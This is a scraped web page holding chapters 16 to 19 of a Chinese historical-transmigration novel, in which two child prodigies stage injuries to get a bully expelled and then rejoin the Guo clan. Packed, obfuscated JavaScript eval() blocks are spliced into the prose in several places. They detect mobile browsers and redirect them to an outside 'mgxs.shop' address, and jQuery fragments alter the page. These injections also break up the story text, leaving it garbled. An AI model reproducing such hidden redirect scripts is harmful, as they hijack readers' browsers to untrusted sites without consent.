本就对周盈颇有好感和欣赏的张岱,闻言脸色阴沉起来,眯起眼,那狭长瑞眼透露出了几分冷色,还不等他多开口说什么。 身边几个人就已经开始愤愤不平了。 “小师弟如此纯真,哪个混账竟对四岁小孩儿下如此毒手?” “我与这般人在同一个私塾,真是为之不耻!”这话说的太重,不少人脸上情绪都带了几分怒意。 大家都是读书人,最是看重个人的品性和德行,这四五岁大的小孩,第一天进私塾,手臂就被掐弄的一片青紫。 足可见,这欺负周盈的人,性格恶劣,品性不正!更有甚,心情爱嫉妒、欺弱! 张岱思绪间,略微弯下腰来,郑重其事道:“周师弟,若有谁人欺负你,你与我说,师兄们帮你做主。” 目光怔怔,眼眶微红,颇为羞赧尴尬的周盈看了一眼为自己打抱不平的师兄们,紧接着低下头长睫颤抖着,声音带了些哭腔,刚想说话呢,突闻外面一阵嘈杂。 “落水了!有人落水了!” 这一下,直接将屋里头的所有人都吸引住了,张岱抬头,见外面好些人朝着右侧池塘跑过去。 他看了一眼周盈,又看了一眼几人道:“你们在这儿照顾周师弟,其他人和我出去瞧瞧。” 于是一行人离开屋子。 屋外,慌张的众人匆匆赶到。 这会儿是深秋,枯树叶顺着萧瑟的风,落在了涟漪翻涌的湖面。 岸边顿时聚集起了一群人,张岱等人赶到的时候,就看到不远处水面,两个扑腾的孩子这会儿正呛着水,一边喊救命,一边哭的厉害。 这会儿还是晌午休息,水哗哗响起,顿时引的整个书院的人全部都走了出来。 “怎么回事?”陈夫子皱紧眉头赶了过来。 后头几个其他夫子见状,没有一个脸色是舒坦的,有人顿时厉喝:“还不快救人!” 而边上发抖,脸色煞白的一个孩子,却正是方才,围着郭元谄媚的其中一个。 “我、我……” 陈夫子看着那头正在营救的人群,见这孩子手足无措,提起衣摆蹲下,直视间,目光锐利:“告诉夫子,方才怎么回事。” 那小孩也就几岁,被这样的气势一压,多少眼眶一红,发抖着开口道:“刚`刚才……是郭元非要在这儿…在这儿和郭嘉吵架,然后两个人……推搡起来,呜…郭元把郭嘉推下去了。” “啊?!”闻言的众人俱是一惊。 “岂有此理!” “此子,竟如此狠辣!” 陈夫子闻言,闭 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几个边上的师兄们见状也都是忍俊不禁:“小师弟安稳些,宗吕抱着也稳当。” “……”周盈心里呵呵一笑,颇欲哭无泪,自来这地方,他那千年老脸已经碎一地了。下次再选落脚点,必然要先看看黄历才行。 池塘边上,被救上来的郭元和郭嘉,脸色惨白,整个人都在发抖,郭嘉见一群人围着,立刻张大嘴—— “哇——!!” “……”赶到的周盈,默默转了头。 杨业只当他是不忍心看,便温声道:“莫怕,若真是郭元这小儿,如此心肠歹毒,夫子们必然不会让他再留私塾的。” 周盈:哦?大好事儿啊。 “郭元,你方才为何推郭嘉?”陈夫子先发了话。他板着一张脸,目光看着瑟瑟发抖,泪眼汪汪的郭元。 一向嚣张的小胖子,此时此刻头发乱了,衣服湿了,整个人狼狈不堪,听到夫子的声音,眼里顿时泪水打转,指着郭嘉直接喊到:“我没有!是他推的我!” 郭嘉:“哇呜呜——哇——夫子——呜呜呜——” 周盈:…… 张岱脱了外套上前一步,直接将衣服盖在湿透的郭嘉身上,目光一闪,敏锐发觉什么,抬头看了众人一眼。 陈夫子见状皱眉:“是有发现什么吗?” 郭嘉似随意抬手擦拭眼泪,湿透的袖子顿时往下落,露出胳膊上,青一片,红一片的伤痕。 才几岁的孩子啊!家里都是精心养着的!掐一下就起痕的肌肤,细腻白皙,那手指印,指甲痕,都掐出血了! 张岱不可置信的张了张嘴,这伤,可比方才在周师弟身上见着的,更严重啊。 “夫子,郭师弟身上有伤。” 闻言的陈夫子顿时心里一个愕然,忙走上前蹲下,且看郭嘉两眼通红,泪水哗啦哗啦往下淌,吸了吸鼻子,十足可怜。 哪还有昨日广场上那般桀骜神气? 说到底也就几岁的孩子啊!童言无忌啊! 16.第 16 章 “莫哭,莫怕。你有冤屈,夫子定会护你。”陈夫子深叹了一口气,直起身,脚步一转。 见那头被几个人搀扶着坐到一边,眼神惶恐,似还不明白发生了什么的郭元,陈夫子不免心里掂量。 说到底,郭氏在当地也算有头有脸,郭元作为郭氏长子,真闹出这样的事,私塾是一定不会继续接纳的! 这已经关乎一个学生品性和道德的问题了,并非两个孩子之间的小打小闹。 郭氏早年就有欺辱寡母的恶名,如今养出的孩子,如此盛气凌人,嚣张跋扈,果然是家风不正! “夫、夫子……”郭元心里怕的不行,发抖着,话都说不清。 “我没有……没有推……” 一旁被放下来的周盈这会儿见状,看郭嘉一副可怜巴巴的模样,再一看众夫子脸上神情各异,围观者多有愤愤不平。 他想了想,小短腿哒哒哒的走了过去。 “嘉弟!呜……嘉弟怎么回事?” 于是众人就瞧见,周盈一副不可置信,眼眶微红的模样,而郭嘉顿时委屈,直接“哇!”的一声又又又开始哭了! 郭奉孝:快点!哭啊! 周盈:哭、哭不出来啊! 见着两个小孩儿抱在一起,噫噫呜呜噫的吸着鼻子泪眼汪汪,几个大点儿的孩子也也就从人群中站了出来。 有的是以前被郭元欺负过的,有的是正义心爆棚的。 其中一人手一指郭元,朝着夫子说道:“夫子!刚我还看到郭元叫了几个人,非要把郭嘉带到这儿!” “没错!郭元以前在班里就老是欺负人!” 嚯! 这一下子不得了,直接炸锅了! “什么?此子如此心肠歹毒?!” 张岱紧皱眉头,看着两个哇哇大哭,可怜兮兮的小孩儿,心里头不免有几分不忍。再加上好歹是他推举进私塾的学生,第一天就出这样的事情! “夫子,我有事说。” 见张岱开口,几个夫子面面相觑,还是陈夫子直接道:“但说无妨。” 不过张岱倒不是先开口,反而是掀衣摆蹲下身子,然后手小心翼翼地将周盈的胳膊抬起,修长的手揭开袖子。 随后白皙的胳膊逐渐暴露在众人目光之下,那青红的伤痕,狰狞的指甲印。 真真是…… “何其歹毒啊!”已有人怒喝一声。 郭元瞪大眼睛,见状似乎也明白了,这事儿好像跟他有很大关系,而且对他来说是很不好的事情。 但几岁大的孩子,说话逻辑都不顺,一着急就只会大声吼:“不是我干的!不是我!” 但没有人理会他。 “夫子,若说郭师弟落水或有意外,但这身上的伤却非虚假。再言,周师弟胳膊上的指甲印,手指印,便更是罪证了!” “若非这一场闹剧,谁人能知道,这郭氏长子,如此心术不正?早先就听闻郭氏欺负孤儿寡母,如今来看……哼!”张岱一拂衣袖,只冷哼了一声。 一时间围观的学生们,都愤愤不平,为之动怒,马上就有人附和: “夫子,我辈读书人,讲究个修身治国,平天下,如今这郭氏小儿,如此年幼,便能做出这般歹毒之事,更甚还对二位小师弟下此毒手,若非今日大家伙儿注意到了,只怕下回更会变本加厉!” 一群夫子神情复杂,有的叹息,有的摇头,显然亦是对郭元失望至极。 周盈吸了吸鼻子,泪眼汪汪的大眼睛眨巴眨巴看向陈夫子,白嫩的糯米纸这会儿鼻头红红,长睫濡湿,看的人真真是心都碎了。 陈夫子垂眸,听着众人言论,不知细想了什么,看了一眼那儿还在闹腾,大吼,甚至觉着是郭嘉有错在先的郭元。 若非人拉着,那郭元竟是还要冲过来再欺负二人。 不免的,陈夫子紧皱眉头,声音冷了几分:“潘岳私塾,自建立以来,便承以教化之责。我辈读书人,亦是希望底下学生,知书达理,修身养性,做个与国有用之人!” “而今,郭元张扬跋扈,欺凌同窗,更甚推其落水,如此心术不正,亦不知悔改,实非人子!” 这话说的实在太重! 几个夫子中亦有人愕然,小声朝着陈夫子言:“子长,郭氏好歹也算当地大户人家,这样会不会……” 陈夫子侧眼一瞥,嘴上依旧言曰:“我潘岳私塾,素来行得正坐得端,若为权贵而折腰,那这学问之道从何索求?” “若我等夫子,行事偏颇袒护,底下学子又要如何尊师?!” “……”一群人被问哑火了。 “即日起,将郭元逐出私塾,潘岳私塾不收如此心术不正,品性不端的学生!” 此言一出,少不得哗然。 但只因这郭元做事天怒人怨,竟也无人敢帮他说话,一时间都是过去安抚周盈、郭嘉二人的。 眼泪水汪汪,两个孩子噘着嘴,只吸了吸鼻子,实则心里早已冷笑连连。 哼,敢惹他们? 那不扒层皮是不可能的。 风云过后,学院里恢复了以往的平静。下午的课程依旧,只不过周盈和郭嘉,作为当事人,自然是没法继续上课的。 夫子室。 几人商量再三,亦不能让陈夫子改口。只观那坐的笔直的陈夫子一身粗布长衫,手捏着杯子抿茶而启:“此事不用再议,逐出郭元,不做更改。” “你!哎!”章夫子气急。 “子长,那郭氏的面子,咱们总得给点儿!你这样光明正大,直接将郭元逐出私塾,岂不是让这才几岁的小娃娃,直接身败名裂?更甚者,传出去,那么多人,那士林文人,当世大儒,如何看呢?” 这事儿太严重了,毕竟如今的社会,对一个人的名声极为看重。才几岁的小孩儿,启蒙的年纪,直接被逐出私塾。 还是因霸凌同学,这样的恶名,着实惊人。 “哼。我倒也想问,郭氏仗着自己在当地有些势力,作威作福,祸害百姓。早些年更是欺凌寡母,霸占田产,这样的人家,早已是恶名在外了!” 陈夫子手“啪”一拍桌子,指着几人厉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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郭元眼眶泛红,不知刚被揍了一顿还是怎的,总而言之坐在椅子上十分的乖巧听话。 而在他身侧的,便是最初,于郭氏议政言词,激烈反驳,冷眼相待的郭氏子,郭三越的儿子,郭尧。 见着抱着孩子进来的两个母亲,郭尧也是愕然:“你们……” 郭怡见着他,只冷眼一瞧,便低下头抱起郭嘉坐在椅子上。 “诸位,此事想必都已知道。今天我也不多说什么。郭元欺凌同窗,推郭嘉下水之事,令人触目惊心。” “我潘岳私塾,是教书育人之地,如此恶劣的事情一出,作为夫子,我百感心痛。” “陈夫子,这其中必定有误会啊!”郭尧闻言是瞪大眼睛,咬着牙,低头看了一眼缩着脖子的郭元:“问你话!怎么回事!” “我、我……”郭元吓了一跳,发抖的看着自己爹。 “呜哇——!” “……”郭嘉默默鄙视的在背后竖了个中指,还真是地主家的傻儿子。 “好好,我知道了,定是郭怡……郭怡你指使两个孩子如此做?是也不是?”见着孩子只会哭,郭尧也是恼了。 “……”郭怡睁大眼睛,似乎不可置信。 “夫子,我等也是妇道人家……疼孩子还来不及,如何舍得做这种事?这样的事实在是丧尽天良!怎么能让孩子吃这样的苦……”说着说着,郭怡眼眶也红了起来。 17.第 17 章 “郭尧,你们家四年前如此欺凌我们孤儿寡母,我们也忍了!为何今日,我儿入私塾读书,你们还追着不放?!非要让郭元小儿,如此欺负我儿!”周瑶暴怒,直接拍桌而起,指着郭尧鼻子就开骂。 “当年要了你们家三十亩田,给的还是十多亩中田掺了十多亩下田!况这田分明是郭怡父亲的祖田!这四年里,我们过得清贫,努力把孩子拉扯大,你们郭氏何时过问过?!” “简直禽兽,枉为人!” “我、我……我怎么欺负你们了?啊?事实如此,那祖田,郭怡父亲死了,没了继承人,理所应当归还宗族!这是祖宗规矩!” “祖宗规矩?!哈……那好,郭怡要叫嘉儿改名归宗,为何你们非要百般阻挠?!难道不是因为嘉儿是男丁,可以继承宗族一部分资产?!” 两个人吵的激烈,本欲言又止的几个夫子,你看我我看你,呃……现在要怎么开口呢? “两位……”有人轻咳,奈何周瑶怒极,那嘴可谓是滔滔不绝,简直是把郭氏刻薄寡恩的罪,从成芝麻烂谷子翻出来,从头到尾全说了一遍! 郭尧这会儿脸色铁青,胸膛剧烈起伏:“泼妇!” “好了!”陈夫子闻言,大喝一声,叫二人停下了争执。 “私塾外的事情,我们先不谈。就郭元霸凌同窗的情况,我们潘岳私塾,教不了这样的孩子。” “陈夫子!”这话一出口,郭尧也是脸色微变,心里掂量的清这句话的后果有多严重!一时间也来不及跟周瑶掰扯了。 “此事不过是小孩儿玩闹,说到底也是我儿不知分寸了一些,回头我就收拾他,让他明白事理。” “哼。” 陈夫子手捋胡须,目光如炬:“这可不是小小玩闹可言。” “你要知道,如今学院里头,所有人都知道了这事儿,我潘岳私塾,不是随意的阿猫阿狗,都能进的了门的。” 闻言,郭嘉窝在郭怡的怀里头,皱了皱眉。他听着这话,怎么觉得有些蹊跷呢? 周盈这会儿心里琢磨,这陈夫子还真是刚正不阿,但此话所言……莫不是敲打郭尧,你郭氏虽有些分量,但更有分量的,学院里比比皆是? 譬如张岱,杨业等… 那郭尧脸色凝重:“夫子,小儿之过。若是公然逐出私塾,于其名声、学业有损,稚子何辜!” “哦?你倒也知道稚子无辜?怎早些年,却欺凌孤儿寡母?现在于我等说是稚子何辜……却不想,这周、郭二母,带着两个孩子讨生活,何其艰难!” 陈夫子振振有词,厉声拔高音量,如一柄利剑直刺郭尧。 “郭氏门风,实刻薄寡恩。” “你!陈子长!”郭尧顿时怒了! 几个夫子看着两头,顿时汗都冒出来了:“消停,消停些吧!子长!” 周盈和郭嘉,都要给陈夫子鼓掌了,这位儒学的卫道士,实在是喷的人身心舒畅,令人心情愉悦。 郭嘉表示:看来也不是所有读书人都是酸儒书生,这个他欣赏! “咳咳!两位,今日是商讨郭元之事,莫要牵扯太多。”章夫子轻咳提醒。 陈夫子只冷哼一声,亦不多言。 那郭尧,这会儿目光冷下来,看了一眼周盈郭嘉二人,似心里盘算什么一般。 “陈夫子,元儿之事是私塾公事,我们郭氏的家事,亦轮不到外人来指手画脚。” “哦?那我来说如何?” 忽闻一声惊雷般声响,紧接着众人转头朝那门口看去,只见几步之遥外,郭三越提着衣摆急匆匆朝着雅室走来。 周盈皱眉,郭三越怎么都来了? 陈夫子见到来人,起身行了一礼,那郭三越连摆手,脸上带着几分和蔼笑意道:“哎……我刚回家,就听到元儿出了事,这便匆匆赶来。” “怎么说?可是元儿与人嬉戏,没轻没重些?” 这话一出,郭嘉顿时坐不住了,这老家伙说的话,纯纯和稀泥呢! “呜…郭伯伯…方才我在河边玩耍……郭元推我。” “……” 小郭嘉见众人看过来,更是哇哇大哭,哭的郭怡心痛不已,手抄起郭嘉的袖子,把那伤露出来。 “三叔,你看看,这是小孩打闹吗?!嘉儿受了这么严重的伤,还被推下水!这是要把咱们母子往死里逼啊!” 郭三越皱眉,看了一眼郭尧,目光中透露的责备和失望,不言而喻。 “诶…是我管教不周,陈夫子,敢问处置如何?” 被问到的陈夫子,手捋袖子,只淡淡开口:“逐出私塾。” “……”郭三越怔了怔。 郭尧顿时怒言:“此事不妥!我郭氏给你潘岳私塾脸面,但你陈子长别给脸不要——” “郭尧!”一声怒喝打断对方言论。 郭尧冷哼不语。 却见郭三越深叹口气,一副无奈疲惫的模样,朝着郭嘉开口道:“嘉儿长大了,可还认我这个三叔祖?” “……” “……” 此为何意? 郭嘉与周盈对视,二者心里颇有疑虑,这老家伙,怎么一改往日脸色,反而透露几分善意? 周盈心里冷笑,哦……这是觉二人神童名声大噪,如今郭元又闹出这般声名狼藉的事情。 想让郭嘉认祖归宗,这一来神童出自郭氏,二来郭嘉和郭元为堂兄弟,私塾自是不能做的太过分。 还真是……老奸巨猾。 不过…若认祖归宗,对他们俩有什么好处吗? 周盈沉思,郭嘉亦开始沉思。 郭嘉眨巴眼睛,和周盈展开了一场隔空眼神交流。 郭嘉曰:而今我等身份,一为罪臣眷属,二为商贾之子,三为平头百姓。实无依仗,亦无庇护。若认祖归宗,其一可暂脱罪臣眷属身份,二为郭氏乃当地乡绅,有势力可依,三则……虽有优处,却亦有依附宗族之隐患。 周盈则言:隐患在后,实则当务之急,我等商贾身份须早早洗清,至于郭氏内部争执,你我自有别法处理。而今郭三越抛出橄榄枝,自是看重你我二人神童名声,他今欲以此名讳,洗清郭氏刻薄寡恩之恶名,必不会立刻动手。 郭奉孝表示: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17560519|203982||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 你说得对,就这么办。 其实这事儿吧,高风险,高回报。 当然最重要的,也是两个人思忖再三,都要认祖归宗的根本原因。即,认祖归宗后,可得更多宗族的教育资源培养,此非两人单打独斗可比。 见一众人目光转向自己,小郭嘉眨巴着一双圆溜溜水汪汪的大眼睛,吸了吸鼻子,声音带着小奶音道:“三叔祖,嘉儿若认祖归宗,我娘……我娘在祠堂里,可有名分?” “当年被拿走的…我外祖的田,可还算数?” “还有,我与郭元的事又要如——” “胡扯!”一声喝响,那郭尧脸色阴翳的似乎要滴出水来了,目光带着几分冷色,直接一拍桌,将左右人都吓了一大跳。 “父亲,这黄口小儿蓄意污蔑元儿,如今更是狮子大开口,我郭氏安能让如此心机之辈入宗?!” 他是必然不肯的!毕竟郭氏顺位继承人是他,如今突然窜出来个郭氏神童,血脉如此亲近,这对他造成了极大的危机。 更何况如今郭元声名狼藉,倒是叫人越发失望,这一番算计下来,简直是……两难啊! 陈夫子冷眼旁观,手捏着杯子,低头吹了吹,抿了口茶水,道:“商贾身份,到底对孩子们未来仕途功名,有些影响。” “郭族长,你是郭氏领头人,想来也是明白,一个天资聪颖的孩子,对家族有多大的好处。” 这话一出口,周盈和郭嘉都惊讶了一下。 嘿……这还真是…原来这陈夫子,竟是早考虑到了这一层?! 郭三越皱紧眉,原先和蔼的,颇有弥勒佛姿态的脸上,顿时耷拉下来,那深邃眼眸似针般扎的,郭尧冷汗直冒。 “三十亩祖田,本就是怡儿父亲留的,如今嘉儿改了母姓,自然是要继承给他的。” “至于其他,该有的,郭氏宗族弟子的东西,也不会少了他。” 一字一句,不急不缓,这会儿的郭三越,倒比起一开始,更吓人了。闻言的周盈垂眸细思,这人倒还真不好对付,说的话是滴水不漏。 况郭氏宗族弟子,还分个远亲高低呢。 “呜…还是算了,看郭尧舅舅脸色这么差,我怕他…” 郭尧脸皮抽搐,这死小子,给脸不要脸呢! “我!”他刚要开口,就被郭三越目光打断。后者直接撑起一个分外和善的笑,语气和蔼开口道: “你放心,回了家,郭元什么待遇,你就是什么待遇。” “真的吗?” “当然,既然认我这个三叔祖,我自然把你当亲侄儿看呀。” 小郭嘉眨巴眼睛,看了一圈屋内众人,随后懵懂开口道:“我不懂你们大人的弯弯绕绕,但是都说好记性不如烂笔头。” 他说到这看了一眼周盈,又看了一眼陈夫子几人道:“不如把这些都写下来吧?夫子们觉得如何呢?” “……” “……” “……” 咳…… 周盈忍俊不禁,强板着一张脸,看郭尧脸色都发黑了,而郭三越也是差点没绷着,实在是有趣… 18.双狐戏郭 还不等郭尧反驳,陈夫子倒是搁下茶杯,颔首道:“郭嘉此言,倒还是有些道理的。书海无涯,亦需笔耕不辍。” “阳明子言‘知行合一’。言出为实,即为实言,自当行之。” 郭三越闻言,仿佛是突然回过神一般,只呵呵一笑:“这说的也是,嘉儿既然要个契约,我这个做三叔祖的,自无不答应的道理。” “取笔。” “爹!” “你给我住嘴!” “……” 众夫子见郭三越取笔,随后行云流水的写下一行行字,末了,用自己的手印摁在纸张之上。 这一份契约,一式两份,一份给了郭嘉,一份给了郭氏。 两位母亲这会儿也都是心中起伏不定,如坐了马车一般的跌宕起伏,方还是剧烈的愤怒,这会儿马上就进行认祖归宗的戏码。 实在是如做梦一般。 不过周瑶略皱了皱眉,心想着自己那些商产该如何切割分离,叫郭氏不至将自己等人,好不容易打拼下来的财产都牵扯进去。 郭怡面露迟疑:“这……” “娘亲,我们归宗吧,您难道不想见祖父吗?” 小郭嘉仿佛是察觉她的犹豫和忐忑,脸上带着十足期待:“况且,我定能争气,不会让娘亲和周娘失望的。” 郭怡看了一眼周瑶,对方微笑颔首:“好事,别怕。” 于是,眼眶微红的郭怡收了契约,起身,带着郭嘉,朝着那坐着的陈夫子等人,深深鞠躬。 “哎,莫要如此。”陈夫子难得笑呵呵摆手。 “我最见不得欺凌孤儿寡母者,如今之事,倒也算是妥当解决了。你等经商身份,到底于孩子前程不好,既有郭氏挂名,自要比两人单独拉扯好些。” “至于郭元。”话说到这头,陈夫子垂眸思忖,屋内安静了一会儿后,他又瞧了一眼忐忑,惶恐的郭元。 “念在年幼,许其转班,勿要再与周盈、郭嘉二人同班。” “且先罚抄经书,每日一卷,我会检查。” “诸位,可对这个结局,还有异议?” 此言一出,几个夫子也都是服气,而周盈和郭嘉当然没什么不乐意的,反正最大的好处在他们这儿,至于周、郭二母,多是心疼自己孩子受了这么多伤。 唯一不开心的,大概就是郭尧和郭三越了。 回到郭氏,心里憋着一肚子火的郭尧,直接开口一连串的怒问:“爹!你怎么能答应他们!” “这不明摆着是郭怡那个贱人,拿孩子设了个局,把元儿推下水还倒打一耙!我看我们当年就不该对这娘俩仁慈!现在那臭小子长大了,已经开始算计我们了!这要不是郭嘉有问题,元儿怎么会跟他较劲儿!我看是一个巴掌拍不响——” “啪——!”听着后头声音不绝,猛地停下的郭三越,一转身,手上巴掌朝着郭尧猛扇过去! 郭尧当即就被抽得一个踉跄,手捂着通红的脸颊,不可置信的瞪大眼睛。 “爹……?你打我?” 郭三越冷着一张脸:“响不响!” “我——” “我问你,响不响?!” 郭尧被自家老爹气势一震,顿时咽着口水不敢再说什么,哪还有半点儿的嚣张气焰。 见自己儿子如此窝囊,飞扬跋扈不知轻重,郭三越深吸一口气,好歹是忍住把人打死的冲动,他忍辱负重这么久,好不容易才坐到这个郭氏族长的位置,如今却真是要被这个蠢儿子害死了! 手一指,郭三越咬牙切齿道:“蠢货!你看看你干了什么事情!” “我这些年,再三叮嘱郭氏的人,不要打那两对孤儿寡母的主意,就是为了息事宁人!” “你知不知道,外头都是怎么传咱们郭氏的?脸都被你们父子俩丢完了!” “现在倒好了,元儿声名狼藉,如今要是不接纳这两个小崽子,你以为我们郭氏还能有什么好名声?!元儿前程要怎么办?我们郭氏怎么办?!” “你今天就给我去祠堂罚跪去!什么时候族老让你出来,你再出来!” 郭三越越说,越生气,语调拔高,面目狰狞间,气得是胸口突突发疼。瞧着自己儿子一副不知错在哪里的倔强,他手指发抖,再三间,猛地一甩手,冷哼朝着大门走去。 一旁站着的郭尧捂着脸,撇着嘴,眼里透露出几分愤恨,但还是乖乖朝着祠堂走了过去。 是夜,月明星稀。 屋内,油灯火光温暖。 一截被撩起袖子的手臂上,青青紫紫一片。 郭嘉皱着一张脸,见着那棉花沾了些金疮药,随后一抹间——“嘶!你轻点。” 听到动静的周盈抬头看了他一眼,这会儿也是没好气:“你对自己倒也真是狠得下去手,这伤疤,怕是有一段时间好不了了。” 他也是没想到,郭嘉为了一举弄死郭元,竟还玩了个这么大的,也真是记仇,睚眦必报了。 “哼,谁叫那臭小子,非要招惹我们?这叫谋定而后动,既已想着一举解决问题,倒不如把事情做的更绝更妥当一些。” “你瞧,现在郭元被踢出班级了,咱们也能回郭氏了,而且母亲能入宗祠,周娘的商业背靠郭氏,也行的更稳当了,这是一举多得。” 说着话,郭奉孝觉得自己真的很棒棒呢,还颇为咂摸嘴巴,回味自己的小计策。 “……”周盈都不知道说什么是好,他叫郭嘉打他,也是为了使个苦肉计,去经馆走了一遭,不但吸引了一波好感,连带着也初步收服了张岱、杨业等人的友善。 但郭奉孝对他下手是轻了些,害得周盈自己用指甲掐了好几个印。 ……就这方面来讲,这俩也是大哥笑话二哥了。 “真是不要命了,要是呛水了,人没来得及赶到,你怎么办?” 周盈继续低下头,长睫在灯火下一扇一扇,手上镊子夹的棉花不停歇,将金疮药尽数涂抹伤口。 “那……”这个问题,郭嘉还真没想过。 他皱了皱眉:“不妨事,这不是还有你吗?” 听到这话,周盈抬头剜了他一眼,嘴角扯出一个哂笑:“少来这套。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17568252|203982||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' >“哎,我这是帮你把最危险的做了,这样还不好吗?” “不是这样说,我周盈不是舍得拿朋友的命去赌的人,你别把对曹操那套拿来对我。” “……”郭嘉不说话了,沉默了一会儿。 凑近一些:“我知道了,你我二人什么交情?” 周盈无奈一笑,丢掉棉花,垂眸思忖了一会儿后,反倒是说起别的:“等进了郭氏,就没这么自由了。我看那郭尧不是个善茬,脑子虽然笨,但笨人做事最心惊胆战。” 一提到这事儿,郭嘉也皱起了眉,手一甩,将袖子放下。现在两人的身体年龄实在是年幼,很多的事情自己都没办法身体力行。 比方说这次设计郭元的计策,也只能在孩童、私塾规则之内寻求最优解。 这事儿,郭奉孝觉得颇为憋屈,他自认为自己的才能才不是困在方寸之间,只用来斗小孩的。 “虽有隐患,不过……你我也算是踏出了最关键的一步了。”周盈见他沉默思索,便也收回目光,撩起自己袖子,手上镊子夹着棉花,给自己处理伤势。 “若得其利,必趋其凶。此事亦不算什么,只不过还需先将周娘的那些作坊,资产挪一挪。” 见周盈这小胳膊上也是青青紫紫,郭奉孝手上夺过了镊子,心里头嘀咕:你还说我呢,你也没好到哪里去! “这事儿不急,家里的商业资产都是我母亲在打理,若你归宗,郭氏也是没什么由头,来公然争夺一个外姓寡母的财产,这事儿做了,必然让郭氏名声发烂发臭。” 周瑶心思缜密,对家里的财产全盘掌控着,如今反倒是好处显现出来了。 “那就没问题。”郭嘉莞尔一笑。 “这才刚出事没多久,这帮人投鼠忌器,暂时不敢做大动作,再说……既然郭三越敢提出这个事情,说明郭氏里头,也不是铁板一块。” “且走着看吧。” 周盈心里叹了口气,希望如此吧,若非这开局崩盘,几个人也不至于连求生都费尽心思。 如今总算是初步取得了胜利成果,摆脱罪臣眷属、商贾身份,这样一来,考取功名也就没了最大的绊脚石了。 一番话头匆匆,两个大人魂,小孩身的孩子,吃过饭,温习了功课后,躺在床上都乖乖的入了眠。 第二日一早的功夫,因着郭嘉归宗的事情,周瑶和郭怡便向私塾告了假。 这事儿,总归是要快些着落了才好。 一大早的,郭奉孝就被提溜起来,又是洗脸刷牙,又是梳头穿新衣服的,折腾了好半天,郭怡才算是满意。 周盈咬着番薯,最近家里番薯大丰收,天天吃,便是周盈再如何不挑食,也真是吃的够够的了。 且看小苦瓜般的脸上流露出些许迟疑,但碍于不能浪费粮食,依旧是勉为其难的咬了一口。 嗯……有点干巴,裹腹倒不必在乎口感,但确实不怎么好吃。 这边心里思忖着,就看到走出来的郭嘉,此时此刻头上扎着小辫儿。一下子,周盈没绷住:“噗……” “……”郭嘉瞪了他一眼。 19.第 19 章 且听说,郭氏子要归宗。这消息如同长了翅膀一般迅速飞遍了整个山阴县。一出门,周盈就看到左邻右舍的,都稀罕着探头看过来。 “哟,周家寡妇,今儿是要去郭氏走一趟了吧?早些年我就看出,这俩孩子有出息!那会儿就帮着母亲哭门了,这长大了……” 絮絮叨叨的姨姨嘴里说个不停,几个围观的大人便是把两个孩子,从小到大的糗事儿都给翻了一遍。 周盈和郭嘉:……能不能给点面子。 两人心里呵呵一笑,心想着,这回来到大明的经历,也算是人生中浓墨重彩的一笔黑历史了。 好在唠叨是没多久,那边郭怡就已经领着车夫赶了过来。两个孩子踩着凳子被抱上车,不一会儿功夫,马车便扬长而去。 一路上途径繁华,山阴县的街道总是很热闹,而郭氏落座的宅院,倒要清净些,但距离闹市并不远。 也正是因为如此,一开始周瑶骑马踹门的事情,才能闹得那么大。 下了马车。 几个人就见着门口已经有人等了许久,左右的灯笼在牌匾两侧高高挂起。 比起上次闭门不见的冷清,如今的红灯笼倒还真是喜庆不少。 那站在门口,眼尖的仆人,矮胖矮胖,一张脸上,挤出的两只眼细长,见着几人,顿时笑呵呵上前行了一礼。 打量一番后,见二位妇人粗布麻衣,肤色因着常年劳作而已是粗糙黝黑,不过因着精神头十足,黑眸倒是精亮精亮的。 当下,这仆人便朝着郭怡恭敬开口道: “哎哟,表小姐您可算是回来了,老爷子这会儿正念着您呢!” 郭怡闻言倒是没什么情绪,这些年的风霜雨打,她早就明白世情冷暖,也不是一开始那个什么都不知道的官太太了。 自然是明白,这仆人所言也不过是客套话。 她看了一眼周瑶,后者没说什么。 “你带路吧,我们进去见一见族老们。” “哎,好!” 且见那门槛颇高,这会儿的人都推崇高门槛,意为身份和规矩的象征。对大人来说不算什么,但是对周盈和郭嘉如今的小短腿来说……有点尴尬。 不过好在母亲们直接一伸手,提溜,就把孩子们提溜进了门,这丝滑动作,应当是在家常做。 周盈踩严实了地板,看了一眼大院,左右仆从垂手低眉,入目便是轿厅。这地方是专门用来停放大户人家轿子的地方。 再进第二道门,入的便是正厅了。 左右皆以柏木做栋梁,上挂文魁牌匾,三开间光透而明亮,见之大气非凡。 一路有仆从接引,几人倒也不曾迷路。上回来,周盈还是襁褓中的孩子,是硬破门而入,如今反倒是被郭氏的人请进来,还真是颇有些报应不爽了。 至于郭嘉,左看右看,倒也没看出什么东西来,他只是单纯觉得这建筑风格挺不错,比起他生活那个年代,挺有韵味特色的。 完全没感觉出江南文人乡绅的那点小情趣和暗戳戳炫富的意味。 还没有到门口,几个人就已经渐渐听到了不远传来的欢声笑语声音。 几人脚步停下,周瑶退了一步,目光带着几分鼓励:“去吧,这本就是你家,如今也算是认祖归宗了,我和盈儿在这等你。” 听到这话,郭怡也是鼻头一酸,颔首低头看了一眼小郭嘉。 “娘,走吧!别让人久等了!” “好。” 